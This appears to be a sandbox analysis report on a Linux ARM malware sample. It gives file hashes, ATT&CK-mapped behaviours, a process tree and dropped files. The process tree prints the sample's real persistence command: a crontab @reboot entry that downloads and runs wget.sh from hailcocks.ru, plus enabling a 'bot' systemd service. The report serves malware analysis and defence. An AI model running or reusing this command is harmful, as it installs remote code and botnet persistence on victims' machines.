Analysis

  • max time kernel
    136s
  • max time network
    175s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20240221-en
  • resource tags

    arch:armhfimage:debian12-armhf-20240221-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    27-10-2024 02:55

General

  • Target

    d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf

  • Size

    101KB

  • MD5

    ca210ee9b185a078d977e3f9f421e2da

  • SHA1

    99a8fdf8489095caf3ba316f5f75561400bb64d5

  • SHA256

    d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125

  • SHA512

    fbbbda938ecfd86d1f0d6f445b32631dff779a29ebc936ca6379230555c1cb3d4a81e7cceaccf382775ce584012c0750e784a9c96de11ec0b16daf6036f9d02c

  • SSDEEP

    3072:JTnKSqnPWkyyRebaVf4GwBLFCsfIUuFeStQjX:JTnZmWkyDbaVf4GwBRCslusSOjX

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Changes its process name 1 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf
    /tmp/d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf
    1⤵
    • Renames itself
    • Modifies systemd
    • Changes its process name
    • Reads runtime system information
    PID:702
    • /bin/sh
      /bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
      2⤵
      • File and Directory Permissions Modification
      PID:705
      • /usr/bin/crontab
        crontab -
        3⤵
        • Creates/modifies Cron job
        PID:709
      • /usr/bin/crontab
        crontab -l
        3⤵
          PID:711
      • /bin/sh
        /bin/sh -c "/bin/systemctl enable bot"
        2⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:715
        • /bin/systemctl
          /bin/systemctl enable bot
          3⤵
          • Reads runtime system information
          PID:717

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /usr/lib/systemd/system/bot.service

      Filesize

      302B

      MD5

      a4e30f6ce6fb6cf00e133f3c93fb5449

      SHA1

      67b7de93a672ada4abfe11e339dc2e270c61b69d

      SHA256

      a911f4bb5c69ad831fd6dc9004e52e656a846b2d7cbf152ab80c9b3928062ede

      SHA512

      893cda7cdcb75aceef89c64a38004feff8e5867e7bc76c622a49adfbff3fbb2c7916de6165ed4c43b4c7dabb5b56271e5a1b8a08d02b84389da92ec177289c25

    • /var/spool/cron/crontabs/tmp.tEfHeO

      Filesize

      306B

      MD5

      0919d9b4cb8a0fbe406d94ca48080b1c

      SHA1

      bfda5c0093cabd9b3fae9f38549e872ffbf1851a

      SHA256

      9846262d801c240c9e95e57945caeab9e2353b9d8f70b0a3726373406fa40fd5

      SHA512

      349b045def88bebe1fae4ae8e6c2a9f5f57b4fb874ff7dd0a6e1c2b2e808c4ebfca819a5b4f7217aa97200cc5908bc158020d385f9f30edd9540803791a49ad9